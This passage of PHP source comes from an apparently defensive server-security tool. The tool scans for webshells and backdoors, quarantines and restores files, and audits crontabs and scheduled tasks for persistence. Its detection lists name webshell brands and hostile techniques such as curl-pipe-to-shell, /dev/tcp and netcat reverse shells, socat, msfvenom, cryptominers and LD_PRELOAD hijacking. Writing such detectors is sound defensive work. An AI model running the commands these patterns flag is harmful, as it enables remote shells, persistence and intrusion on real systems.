        array('pattern' => '/(cmd\.exe|\/bin\/sh|\/bin\/bash).*\\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'shell binary + input'),
        array('pattern' => '/\\$[a-zA-Z0-9_]{1,3}\s*=\s*[\'"]\\x[0-9a-f]{2}/is', 'score' => 18, 'name' => 'hex byte construction'),
        array('pattern' => '/\\$GLOBALS\s*\[[^\]]+\]\s*\(/is', 'score' => 22, 'name' => '$GLOBALS func call'),
        array('pattern' => '/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is', 'score' => 40, 'name' => 'webshell keyword'),
        array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]pass[\'"]\]/is', 'score' => 18, 'name' => 'password gate $_INPUT'),
        array('pattern' => '/fsockopen\s*\([^)]+\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'fsockopen backconnect'),
        array('pattern' => '/stream_socket_client\s*\(/is', 'score' => 12, 'name' => 'stream_socket_client'),
        array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$\{[^}]+\}/is', 'score' => 18, 'name' => 'variable variables'),
    );
    if ($aggressive) {
        $sigs = array_merge($sigs, array(
            array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]cmd[\'"]\]/is', 'score' => 28, 'name' => 'cmd parameter'),
            array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]0[\'"]\]\s*\(/is', 'score' => 32, 'name' => 'array index 0 invoke'),
            array('pattern' => '/strrev\s*\(\s*base64_decode/is', 'score' => 30, 'name' => 'strrev+base64'),
            array('pattern' => '/rawurldecode\s*\(\s*base64_decode/is', 'score' => 28, 'name' => 'urldecode+base64'),
            array('pattern' => '/\\$[a-zA-Z0-9_]+\(\$\{?\\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'func variable from input'),
        ));
    }
    return $sigs;
}

function _g6093298($aggressive)
{
    $iocs = array(
        'c99.php' => 55, 'r57.php' => 55, 'wso.php' => 55, 'wso2.php' => 55, 'wso1337.php' => 55,
        'shell.php' => 40, 'cmd.php' => 40, 'backdoor.php' => 55, 'b374k.php' => 55, 'b374.php' => 50,
        'alfa.php' => 50, 'alf.php' => 45, 'mini.php' => 25, 'uploader.php' => 30, 'upload.php' => 20,
        'x.php' => 25, 'xx.php' => 25, '0.php' => 30, '1.php' => 25, '2.php' => 22,
        'indoxploit.php' => 55, 'fox.php' => 40, 'leaf.php' => 35, 'marijuana.php' => 50,
        'mysql_manager.php' => 10, 'adminer.php' => 10, '.user.ini' => 25, 'php.ini' => 15,
        'sym403.php' => 45, 'symlink.php' => 40, 'priv8.php' => 45, 'root.php' => 35,
        'hack.php' => 40, 'haxor.php' => 45, '1337.php' => 40, 'locus.php' => 40,
        'c100.php' => 45, 'r00t.php' => 40, 'sh.php' => 35, 'bypass.php' => 35,
        'up.php' => 28, 'upl.php' => 28, 'filemanager.php' => 15, 'fm.php' => 30,
    );
    if ($aggressive) {
        $iocs['test.php'] = 12;
        $iocs['tmp.php'] = 18;
        $iocs['cache.php'] = 15;
        $iocs['log.php'] = 18;
        $iocs['images.php'] = 22;
        $iocs['class.php'] = 12;
        $iocs['config.php.bak'] = 30;
        $iocs['wp-config.php.bak'] = 35;
    }
    return $iocs;
}

function _g400c5cc($basename, &$score, &$hits, $aggressive)
{
    if (preg_match('/^[a-f0-9]{8,}\.(php|phtml|inc|php5)$/i', $basename)) {
        $score += 28;
        $hits[] = 'hex-random filename';
    }
    if (preg_match('/^[a-z0-9]{1,2}\.(php|phtml)$/i', $basename)) {
        $score += 22;
        $hits[] = 'short random php name';
    }
    if (preg_match('/\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\.(php|phtml|php5)$/i', $basename)) {
        $score += 38;
        $hits[] = 'double extension';
    }
    if (preg_match('/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan)/i', $basename)) {
        $score += 22;
        $hits[] = 'malware keyword in filename';
    }
    if ($aggressive && preg_match('/^[a-f0-9]{12,}\.(php|phtml|php5|inc)$/i', $basename)) {
        $score += 18;
        $hits[] = 'aggressive hex filename';
    }
}

function _g1612534($score)
{
    if ($score >= 50) return 'CRITICAL';
    if ($score >= 30) return 'HIGH';
    if ($score >= 15) return 'MEDIUM';
    return 'LOW';
}

function _g28e6a94($path)
{
    return strtolower(str_replace('\\', '/', (string)$path));
}

function _ge1466bf($path, $baseDir)
{
    static $selfReal = null;
    if ($selfReal === null) {
        $selfReal = @_gfrp(__FILE__);
    }
    $real = @_gfrp($path);
    if (!$real) return false;

    if ($selfReal && _g28e6a94($real) === _g28e6a94($selfReal)) {
        return true;
    }

    $bn = strtolower(basename($real));
    if (in_array($bn, array('.adminer.php', 'manifest.json'), true)) {
        return true;
    }

    if (strpos(_g28e6a94($real), '/.gecko_quarantine/') !== false) {
        return true;
    }

    $head = _g_file_get_excerpt($real, 0, 8192);
    if ($head !== false && $head !== '') {
        if (stripos($head, 'Gecko Pro Edition') !== false && stripos($head, 'function jsonOut') !== false) {
            return true;
        }
        if (stripos($head, 'function btWebshellScan') !== false && stripos($head, 'function runBlueTool') !== false) {
            return true;
        }
    }

    return false;
}

function _gb4a4a6a()
{
    return array(
        'eval(base64_decode())', 'eval(gz*)', 'eval(gzuncompress)', 'eval(str_rot13())',
        'assert($_INPUT)', 'preg_replace /e', 'cmd_exec($_INPUT)', 'direct webshell cmd',
        'known webshell brand', 'gzinflate(base64)', 'func variable from input',
        'double extension', 'php tag in non-php extension (polyglot)', 'upload+eval',
        'backtick cmd $_INPUT', 'strrev+base64', 'urldecode+base64', 'dynamic include $_INPUT',
        'tiny file + dangerous func', 'webshell keyword',
    );
}

function _gdb7ab88($src, $dest)
{
    $destDir = dirname($dest);
    if (!_gfid($destDir)) {
        @_gfmd($destDir, 0700, true);
    }
    if (@_gfrn($src, $dest)) {
        return _gfif($dest) && !_gfif($src);
    }
    if (@_gfcp($src, $dest) && _gfif($dest) && _gfsz($dest) > 0) {
        if (@_gfun($src)) {
            return true;
        }
        @_gfun($dest);
    }
    return false;
}

function _g3366e69()
{
    return array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'phar', 'inc', 'pht', 'phpt',
        'asp', 'aspx', 'jsp', 'js', 'shtml', 'htaccess', 'cgi', 'pl', 'py', 'sh', 'rb', 'vb', 'vbs');
}

function _g3dc5dd1($path, $signatures, $filenameIOCs, $selfPath, $aggressive, $baseDir)
{
    $realPath = @_gfrp($path);
    if (!$realPath || !@_gfif($realPath)) {
        return null;
    }
    if (_ge1466bf($realPath, $baseDir)) {
        return null;
    }

    $score = 0;
    $hits = array();
    $basename = strtolower(basename($realPath));
    $ext = strtolower(pathinfo($realPath, PATHINFO_EXTENSION));

    $allowedExt = _g3366e69();
    if (!in_array($ext, $allowedExt, true) && $basename !== '.htaccess' && $basename !== '.user.ini') {
        if (!$aggressive || !preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i', $basename)) {
            return null;
        }
    }

    foreach ($filenameIOCs as $ioc => $pts) {
        if ($basename === strtolower($ioc)) {
            $score += (int)$pts;
            $hits[] = 'filename:' . $ioc;
        }
    }
    _g400c5cc($basename, $score, $hits, $aggressive);

    $size = @_gfsz($realPath);
    $maxRead = $aggressive ? 262144 : 98304;
    $maxSize = $aggressive ? 2097152 : 5242880;

    if ($size === false || $size > $maxSize) {
        if ($score >= 45) {
            return array('path' => $realPath, 'score' => $score, 'severity' => _g1612534($score), 'hits' => $hits, 'size' => $size, 'modified' => @_gfmt($realPath), 'note' => 'large file — filename IOC only');
        }
        return null;
    }

    $content = _g_file_get_excerpt($realPath, 0, min((int)$size, $maxRead));
    if ($content === false || $content === '') {
        if ($score >= 40) {
            return array('path' => $realPath, 'score' => $score, 'severity' => _g1612534($score), 'hits' => $hits, 'size' => $size, 'modified' => @_gfmt($realPath));
        }
        return null;
    }

    foreach ($signatures as $sig) {
        if (@preg_match($sig['pattern'], $content)) {
            $score += (int)$sig['score'];
            $hits[] = $sig['name'];
        }
    }

    if ($size < 250 && preg_match('/eval\s*\(|assert\s*\(\s*\$_(GET|POST|REQUEST)|shell_exec\s*\(\s*\$_(GET|POST|REQUEST)/is', $content)) {
        $score += 30;
        $hits[] = 'tiny file + dangerous func';
    }

    if (preg_match('/<\?(php|=)/i', $content) && preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i', $basename)) {
        $score += 40;
        $hits[] = 'php tag in non-php extension (polyglot)';
    }

    $hits = array_values(array_unique($hits));
    if (empty($hits)) {
        return null;
    }

    $highList = _gb4a4a6a();
    $hasHigh = false;
    foreach ($hits as $h) {
        if (in_array($h, $highList, true)) {
            $hasHigh = true;
            break;
        }
        if (strpos($h, 'filename:') === 0 && preg_match('/filename:(c99|r57|wso|b374k|backdoor|indoxploit|alfa|shell\.php|cmd\.php)/i', $h)) {
            $hasHigh = true;
            break;
        }
    }

    if (!$hasHigh && $score < 50) {
        return null;
    }
    if ($score < ($aggressive ? 28 : 35)) {
        return null;
    }

    return array(
        'path' => $realPath,
        'score' => $score,
        'severity' => _g1612534($score),
        'hits' => $hits,
        'size' => (int)$size,
        'modified' => @_gfmt($realPath),
    );
}

function _g498ab05($roots, $baseDir, $maxFiles, $maxDepth)
{
    $files = array();
    $isWin = _gde2b43a();
    $exts = _g3366e69();
    if (!$isWin) {
        $nameParts = array();
        foreach ($exts as $e) {
            $nameParts[] = '-name ' . _gb6799bc('*.' . $e);
        }
        $nameParts[] = '-name ' . _gb6799bc('.htaccess');
        $nameParts[] = '-name ' . _gb6799bc('.user.ini');
        $nameParts[] = '-name ' . _gb6799bc('*.php*');
        $expr = '\( ' . implode(' -o ', $nameParts) . ' \)';
        foreach ($roots as $root) {
            $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth ' . (int)$maxDepth . ' ' . $expr . ' -type f 2>/dev/null | head -' . (int)$maxFiles;
            $out = _g6a69901($cmd, $baseDir);
            foreach (explode("\n", $out['output']) as $line) {
                $line = trim($line);
                if ($line !== '' && @_gfif($line) && !_ge1466bf($line, $baseDir)) {
                    $files[$line] = $line;
                }
            }
            if (count($files) >= $maxFiles) break;
        }
    } else {
        foreach ($roots as $root) {
            _g3c02342($root, $exts, $files, 0, $maxDepth, $maxFiles, $baseDir);
            if (count($files) >= $maxFiles) break;
        }
    }
    return array_values($files);
}

function _g3c02342($dir, $exts, &$files, $depth, $maxDepth, $maxFiles, $baseDir)
{
    if ($depth > $maxDepth || count($files) >= $maxFiles) return;
    $h = @_gfod($dir);
    if (!$h) return;
    while (($name = _gfrd2($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        if (@_gfif($full)) {
            $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
            if ((in_array($ext, $exts, true) || $name === '.htaccess' || $name === '.user.ini') && !_ge1466bf($full, $baseDir)) {
                $files[$full] = $full;
            }
        } elseif (@_gfid($full) && $depth < $maxDepth) {
            if ($name === '.gecko_quarantine') continue;
            _g3c02342($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles, $baseDir);
        }
        if (count($files) >= $maxFiles) break;
    }
    _gfcd($h);
}

function _gd84da44($title, $findings, $scanned, $roots)
{
    usort($findings, function ($a, $b) {
        return (int)$b['score'] - (int)$a['score'];
    });
    $lines = array('=== ' . $title . ' ===', 'Roots: ' . implode(', ', $roots), 'Scanned: ' . $scanned . ' files', 'Findings: ' . count($findings), '');
    if (empty($findings)) {
        $lines[] = '(no threats detected in scan scope)';
        return implode("\n", $lines);
    }
    foreach ($findings as $f) {
        $mod = isset($f['modified']) ? date('Y-m-d H:i', $f['modified']) : '-';
        $sz = isset($f['size']) ? _g6244af6($f['size']) : '-';
        $lines[] = '[' . $f['severity'] . ' score:' . $f['score'] . '] ' . $f['path'];
        $lines[] = '  modified:' . $mod . '  size:' . $sz . '  signals:' . implode(', ', $f['hits']);
        if (isset($f['note'])) $lines[] = '  note:' . $f['note'];
    }
    return implode("\n", $lines);
}

function _g56061e0($baseDir, $scanPath, $aggressive)
{
    @set_time_limit(600);
    $aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === '1' || $aggressive === 'true');
    $roots = _g704c91d($baseDir, $scanPath);
    $signatures = _g7db71f7($aggressive);
    $filenameIOCs = _g6093298($aggressive);
    $maxFiles = $aggressive ? 8000 : 2500;
    $maxFindings = $aggressive ? 500 : 120;
    $maxDepth = $aggressive ? 14 : 9;
    $candidates = _g498ab05($roots, $baseDir, $maxFiles, $maxDepth);
    $findings = array();
    foreach ($candidates as $file) {
        $hit = _g3dc5dd1($file, $signatures, $filenameIOCs, __FILE__, $aggressive, $baseDir);
        if ($hit) $findings[] = $hit;
        if (count($findings) >= $maxFindings) break;
    }
    $mode = $aggressive ? 'AGGRESSIVE' : 'STANDARD';
    $out = _gd84da44('BACKDOOR / WEBSHELL SCAN [' . $mode . ']', $findings, count($candidates), $roots);
    $critical = 0;
    foreach ($findings as $f) {
        if ($f['severity'] === 'CRITICAL' || $f['severity'] === 'HIGH') $critical++;
    }
    return array(
        'ok' => true,
        'output' => $out,
        'count' => count($findings),
        'critical' => $critical,
        'scanned' => count($candidates),
        'findings' => $findings,
        'aggressive' => $aggressive,
    );
}

function _g1726eac($baseDir, $path)
{
    $path = trim((string)$path);
    if ($path === '') return null;

    $tryPaths = array($path);
    if (DIRECTORY_SEPARATOR === '\\') {
        $tryPaths[] = str_replace('/', '\\', $path);
        $tryPaths[] = str_replace('\\', '/', $path);
    }

    foreach ($tryPaths as $try) {
        if (preg_match('/^[A-Za-z]:/', $try) || (strlen($try) > 0 && $try[0] === '/')) {
            $real = @_gfrp($try);
            if ($real && @_gfif($real)) {
                return $real;
            }
        } else {
            $resolved = _g51c64cf($baseDir, $try);
            if ($resolved && @_gfif($resolved)) {
                $real = @_gfrp($resolved);
                return $real ? $real : $resolved;
            }
        }
    }
    return null;
}

function _ga201b8e($baseDir)
{
    $dir = rtrim($baseDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.gecko_quarantine';
    if (!_gfid($dir)) {
        if (!@_gfmd($dir, 0700, true) && !_gfid($dir)) {
            $tmp = sys_get_temp_dir();
            $dir = rtrim($tmp ? $tmp : $baseDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'gecko_quarantine_' . substr(md5($baseDir), 0, 12);
            @_gfmd($dir, 0700, true);
        }
    }
    return $dir;
}

function _g802814b($baseDir)
{
    return _ga201b8e($baseDir) . DIRECTORY_SEPARATOR . 'manifest.json';
}

function _gbe9ab1c($baseDir)
{
    $file = _g802814b($baseDir);
    if (!_gfif($file)) return array();
    $raw = @_gfgc($file);
    if (!$raw) return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    $valid = array();
    foreach ($data as $entry) {
        if (!is_array($entry) || empty($entry['id']) || empty($entry['original'])) continue;
        if (!empty($entry['quarantine']) && !_gfif($entry['quarantine'])) continue;
        $valid[] = $entry;
    }
    if (count($valid) !== count($data)) {
        _g84bec94($baseDir, $valid);
    }
    return $valid;
}

function _g84bec94($baseDir, $entries)
{
    $file = _g802814b($baseDir);
    @_gfpc($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}

function _g648d971($baseDir)
{
    $entries = _gbe9ab1c($baseDir);
    usort($entries, function ($a, $b) {
        return (int)(isset($b['moved_at']) ? $b['moved_at'] : 0) - (int)(isset($a['moved_at']) ? $a['moved_at'] : 0);
    });
    $dir = _ga201b8e($baseDir);
    $lines = array('=== QUARANTINE (TMP) ===', 'Location: ' . $dir, 'Items: ' . count($entries), '');
    foreach ($entries as $e) {
        $when = isset($e['moved_at']) ? date('Y-m-d H:i:s', $e['moved_at']) : '-';
        $lines[] = '[' . $e['id'] . '] ' . $e['original'];
        $lines[] = '  quarantined: ' . $when . ' → ' . (isset($e['quarantine']) ? $e['quarantine'] : '-');
    }
    if (empty($entries)) $lines[] = '(empty — no quarantined files)';
    return array(
        'ok' => true,
        'output' => implode("\n", $lines),
        'entries' => $entries,
        'count' => count($entries),
        'dir' => $dir,
    );
}

function _g2c1f182($baseDir, $paths)
{
    $quarantined = array();
    $failed = array();
    if (!is_array($paths)) {
        if (is_string($paths) && $paths !== '') $paths = array($paths);
        else $paths = array();
    }
    if (count($paths) > 200) {
        return array('ok' => false, 'error' => 'Max 200 files per batch');
    }
    $qdir = _ga201b8e($baseDir);
    if (!_gfid($qdir) || !_gfiw($qdir)) {
        return array('ok' => false, 'error' => 'Quarantine folder not writable: ' . $qdir);
    }
    $manifest = _gbe9ab1c($baseDir);

    foreach ($paths as $p) {
        $p = trim((string)$p);
        if ($p === '') continue;
        $resolved = _g1726eac($baseDir, $p);
        if (!$resolved) {
            $failed[] = array('path' => $p, 'error' => 'File not found');
            continue;
        }
        if (_ge1466bf($resolved, $baseDir)) {
            $failed[] = array('path' => $p, 'error' => 'Protected file (scanner/core)');
            continue;
        }
        $id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
        $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($resolved));
        $qpath = $qdir . DIRECTORY_SEPARATOR . $id . '_' . $safeName;
        if (!_gdb7ab88($resolved, $qpath)) {
            $failed[] = array('path' => $resolved, 'error' => 'Move failed — check folder permissions');
            continue;
        }
        $entry = array(
            'id' => $id,
            'original' => $resolved,
            'quarantine' => $qpath,
            'basename' => basename($resolved),
            'moved_at' => time(),
        );
        $manifest[] = $entry;
        $quarantined[] = $entry;
    }
    _g84bec94($baseDir, $manifest);

    $out = "=== QUARANTINE REPORT ===\n";
    $out .= 'Location: ' . $qdir . "\n";
    $out .= 'Quarantined: ' . count($quarantined) . ' · Failed: ' . count($failed) . "\n\n";
    foreach ($quarantined as $q) {
        $out .= '[MOVED] ' . $q['original'] . "\n";
        $out .= '        → ' . $q['quarantine'] . ' (id:' . $q['id'] . ")\n";
    }
    foreach ($failed as $f) {
        $out .= '[FAILED]  ' . $f['path'] . ' — ' . $f['error'] . "\n";
    }
    if (empty($quarantined) && !empty($failed)) {
        return array('ok' => false, 'error' => 'No files moved. ' . $failed[0]['error'], 'output' => $out, 'failed' => $failed);
    }
    $out .= "\nRestore anytime from Quarantine section below.";
    return array(
        'ok' => true,
        'output' => $out,
        'quarantined' => $quarantined,
        'deleted' => array_map(function ($e) { return $e['original']; }, $quarantined),
        'failed' => $failed,
        'count' => count($quarantined),
        'dir' => $qdir,
    );
}

function _g9644d4f($baseDir, $ids)
{
    if (!is_array($ids)) {
        if (is_string($ids) && $ids !== '') $ids = array($ids);
        else $ids = array();
    }
    if (empty($ids)) {
        return array('ok' => false, 'error' => 'No items selected to restore');
    }
    $manifest = _gbe9ab1c($baseDir);
    $restored = array();
    $failed = array();
    $remaining = array();
    $idSet = array_flip(array_map('strval', $ids));

    foreach ($manifest as $entry) {
        $eid = (string)$entry['id'];
        if (!isset($idSet[$eid])) {
            $remaining[] = $entry;
            continue;
        }
        $original = isset($entry['original']) ? $entry['original'] : '';
        $qpath = isset($entry['quarantine']) ? $entry['quarantine'] : '';
        if ($original === '' || !_gfif($qpath)) {
            $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Quarantine file missing');
            continue;
        }
        $dest = $original;
        if (_gfif($dest)) {
            $dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . '.restored.' . time() . (pathinfo($original, PATHINFO_EXTENSION) ? '.' . pathinfo($original, PATHINFO_EXTENSION) : '');
        }
        $parent = dirname($dest);
        if (!_gfid($parent)) {
            @_gfmd($parent, 0755, true);
        }
        if (!@_gfrn($qpath, $dest)) {
            if (!_gdb7ab88($qpath, $dest)) {
                $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Restore failed');
                $remaining[] = $entry;
                continue;
            }
        }
        $restored[] = array('id' => $eid, 'original' => $original, 'restored_to' => $dest);
    }
    _g84bec94($baseDir, $remaining);

    $out = "=== RESTORE REPORT ===\n";
    $out .= 'Restored: ' . count($restored) . ' · Failed: ' . count($failed) . "\n\n";
    foreach ($restored as $r) {
        $out .= '[RESTORED] ' . $r['original'];
        if ($r['restored_to'] !== $r['original']) $out .= ' → ' . $r['restored_to'];
        $out .= "\n";
    }
    foreach ($failed as $f) {
        $out .= '[FAILED]   ' . (isset($f['path']) ? $f['path'] : $f['id']) . ' — ' . $f['error'] . "\n";
    }
    return array(
        'ok' => true,
        'output' => $out,
        'restored' => $restored,
        'failed' => $failed,
        'count' => count($restored),
    );
}

function _gfbe22d1($baseDir, $scanPath, $days)
{
    $days = max(1, min(90, (int)$days));
    $roots = _g704c91d($baseDir, $scanPath);
    $isWin = _gde2b43a();
    $lines = array('=== RECENTLY MODIFIED WEB FILES (last ' . $days . ' days) ===', '');
    foreach ($roots as $root) {
        if ($isWin) {
            $cmd = 'forfiles /P ' . _gb6799bc($root) . ' /S /D -' . $days . ' /M *.php 2>nul';
        } else {
            $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth 8 -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.js" -o -name ".htaccess" \) -mtime -' . $days . ' -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -60';
        }
        $out = _g6a69901($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = '(no recent changes found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _gba39302($baseDir, $scanPath)
{
    $roots = _g704c91d($baseDir, $scanPath);
    $isWin = _gde2b43a();
    $lines = array('=== WORLD-WRITABLE / INSECURE PERMISSIONS ===', '');
    foreach ($roots as $root) {
        if ($isWin) continue;
        $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth 7 -type f \( -perm -0002 -o -perm -0777 \) -ls 2>/dev/null | head -50';
        $out = _g6a69901($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
        $cmd2 = 'find ' . _gb6799bc($root) . ' -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30';
        $out2 = _g6a69901($cmd2, $baseDir);
        if (trim($out2['output']) !== '') {
            $lines[] = 'World-writable directories:';
            $lines[] = trim($out2['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = $isWin ? '(Linux permission scan only)' : '(no world-writable files found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _g55f2a62($baseDir, $scanPath)
{
    $roots = _g704c91d($baseDir, $scanPath);
    $isWin = _gde2b43a();
    $lines = array('=== HIDDEN / DOT FILES (executable scripts) ===', '');
    foreach ($roots as $root) {
        if ($isWin) continue;
        $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth 8 -name ".*" -type f \( -name "*.php*" -o -name "*.pl" -o -name "*.sh" -o -name "*.py" -o -name ".htaccess" -o -name ".user.ini" \) -ls 2>/dev/null | head -50';
        $out = _g6a69901($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = '(no suspicious hidden scripts found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function _g1872243()
{
    return array(
        '/\bcurl\b.*\|\s*(ba)?sh/is', '/\bwget\b.*\|\s*(ba)?sh/is',
        '/\/dev\/tcp\//is', '/\bbash\s+-i/is', '/\bnc\s+[-e]/is', '/\bncat\b/is',
        '/base64\s+(-d|--decode)/is', '/\beval\b/is', '/\bpython\s+-c/is',
        '/\bperl\s+-e/is', '/\bphp\s+-r/is', '/\b\/tmp\//is', '/\bchmod\s+\+x/is',
        '/gsocket/is', '/\breverse\b/is', '/\bbackdoor\b/is', '/\bwebshell\b/is',
        '/@reboot/is', '/@hourly/is', '/@daily/is',
        '/auto_prepend_file/is', '/auto_append_file/is',
        '/php_(value|flag)\s+.*auto_prepend/is', '/php_(value|flag)\s+.*auto_append/is',
        '/AddHandler\s+.*php/is', '/SetHandler\s+application\/x-httpd-php/is',
        '/RewriteRule\s+.*base64/is', '/\bcommand\s*=/is',
        '/LD_PRELOAD/is', '/\/etc\/ld\.so\.preload/is',
        '/\bmsfvenom\b/is', '/\bxmrig\b/is', '/\bcryptominer\b/is',
        '/\b\/dev\/shm\//is', '/\bno\-hup\b/is', '/\bnohup\b/is',
        '/\bsocat\b/is', '/\bmkfifo\b/is', '/\bexec\s+\d+<>/is',
    );
}

function _gf488e52($text, $patterns)
{
    if ($text === '' || $text === null) return false;
    foreach ($patterns as $pat) {
        if (@preg_match($pat, $text)) return true;
    }
    return false;
}

function _g43eadd6($rawLines, $patterns, &$warnCount)
{
    $out = array();
    foreach ($rawLines as $line) {
        $line = rtrim((string)$line);
        if ($line === '') continue;
        if (isset($line[0]) && $line[0] === '#') {
            continue;
        }
        $bad = _gf488e52($line, $patterns);
        if ($bad) $warnCount++;
        $out[] = ($bad ? '[WARN] ' : '[OK]   ') . $line;
    }
    return $out;
}

function _gf555fea($path, $limit = 8192)
{
    if (!@_gfif($path) || !@_gfir($path)) return '';
    $size = @_gfsz($path);
    if ($size === false || $size > 524288) return _g_file_get_excerpt($path, 0, $limit);
    return @_gfgc($path);
}

function _g4c07ef0($roots, $baseDir, $patterns, &$warnCount, $names, $sectionTitle, $maxDepth, $maxFiles)
{
    $lines = array('--- ' . $sectionTitle . ' ---');
    $isWin = _gde2b43a();
    $files = array();
    if (!$isWin) {
        $nameParts = array();
        foreach ($names as $n) {
            $nameParts[] = '-name ' . _gb6799bc($n);
        }
        foreach ($roots as $root) {
            if (count($files) >= $maxFiles) break;
            $cmd = 'find ' . _gb6799bc($root) . ' -maxdepth ' . (int)$maxDepth . ' \( ' . implode(' -o ', $nameParts) . ' \) -type f 2>/dev/null | head -' . (int)($maxFiles - count($files));
            $out = _g6a69901($cmd, $baseDir);
            foreach (explode("\n", $out['output']) as $f) {
                $f = trim($f);
                if ($f !== '' && @_gfif($f)) $files[$f] = $f;
            }
        }
    } else {
        foreach ($roots as $root) {
            _g6096c39($root, $names, $files, 0, $maxDepth, $maxFiles);
            if (count($files) >= $maxFiles) break;
        }
    }
    if (empty($files)) {
        $lines[] = '(none found in scan scope)';
        $lines[] = '';
        return $lines;
    }
    foreach ($files as $path) {
        if (_ge1466bf($path, $baseDir)) continue;
        $content = _gf555fea($path);
        if ($content === false || $content === '') continue;
        $fileWarn = false;
        $hitLines = array();
        foreach (explode("\n", $content) as $num => $line) {
            $t = trim($line);
            if ($t === '' || $t[0] === '#') continue;
            if (_gf488e52($t, $patterns)) {
                $fileWarn = true;
                $hitLines[] = '    L' . ($num + 1) . ': ' . $t;
            }
        }
        if ($fileWarn) {
            $warnCount++;
            $lines[] = '[WARN] ' . $path;
            $lines = array_merge($lines, $hitLines);
        } else {
            $lines[] = '[OK]   ' . $path;
        }
    }
    $lines[] = '';
    return $lines;
}

function _g6096c39($dir, $names, &$files, $depth, $maxDepth, $maxFiles)
{
    if ($depth > $maxDepth || count($files) >= $maxFiles) return;
    $h = @_gfod($dir);
    if (!$h) return;
    while (($name = _gfrd2($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        if (@_gfif($full)) {
            if (in_array($name, $names, true) || in_array(strtolower($name), $names, true)) {
                $files[$full] = $full;
            }
        } elseif (@_gfid($full) && $depth < $maxDepth) {
            if ($name === '.gecko_quarantine') continue;
            _g6096c39($full, $names, $files, $depth + 1, $maxDepth, $maxFiles);
        }
        if (count($files) >= $maxFiles) break;
    }
    _gfcd($h);
}

function _g920ae25($baseDir, $scanPath)
{
    @set_time_limit(300);
    $patterns = _g1872243();
    $warnCount = 0;
    $roots = _g704c91d($baseDir, $scanPath);
    $isWin = _gde2b43a();
    $lines = array(
        '=== BLUE TEAM — PERSISTENCE AUDIT ===',
        'Platform: ' . PHP_OS,
        'Scope: ' . implode(', ', $roots),
        '',
    );

    // [1] User crontab
    $lines[] = '--- [1] USER CRONTAB ---';
    $cron = _gf14588c();
    $lines[] = 'Source: ' . ($cron['platform'] === 'windows' ? 'schtasks (current user context)' : 'crontab -l');
    if (trim($cron['content']) === '') {
        $lines[] = '(empty or not accessible)';
    } else {
        $formatted = _g43eadd6(explode("\n", $cron['content']), $patterns, $warnCount);
        $lines = array_merge($lines, empty($formatted) ? array('(no active entries)') : $formatted);
    }
    $lines[] = '';

    // [2] System scheduler
    if ($isWin) {
        $lines[] = '--- [2] WINDOWS SCHEDULED TASKS (suspicious filter) ---';
        $tasks = _g6a69901('schtasks /query /fo LIST /v 2>nul', $baseDir);
        $block = array();
        $cur = array();
        foreach (explode("\n", $tasks['output']) as $row) {
            $row = trim($row);
            if ($row === '') {
                if (!empty($cur)) {
                    $block[] = $cur;
                    $cur = array();
                }
                continue;
            }
            $cur[] = $row;
        }
        if (!empty($cur)) $block[] = $cur;
        $shown = 0;
        foreach ($block as $entry) {
            $joined = implode(' ', $entry);
            if (!_gf488e52($joined, $patterns) && stripos($joined, 'Task To Run') === false) {
                continue;
            }
            if (_gf488e52($joined, $patterns)) {
                $warnCount++;
                $lines[] = '[WARN] ' . $joined;
            } else {
                foreach ($entry as $e) {
                    if (stripos($e, 'TaskName') !== false || stripos($e, 'Task To Run') !== false) {
                        $lines[] = '[INFO] ' . $e;
                    }
                }
            }
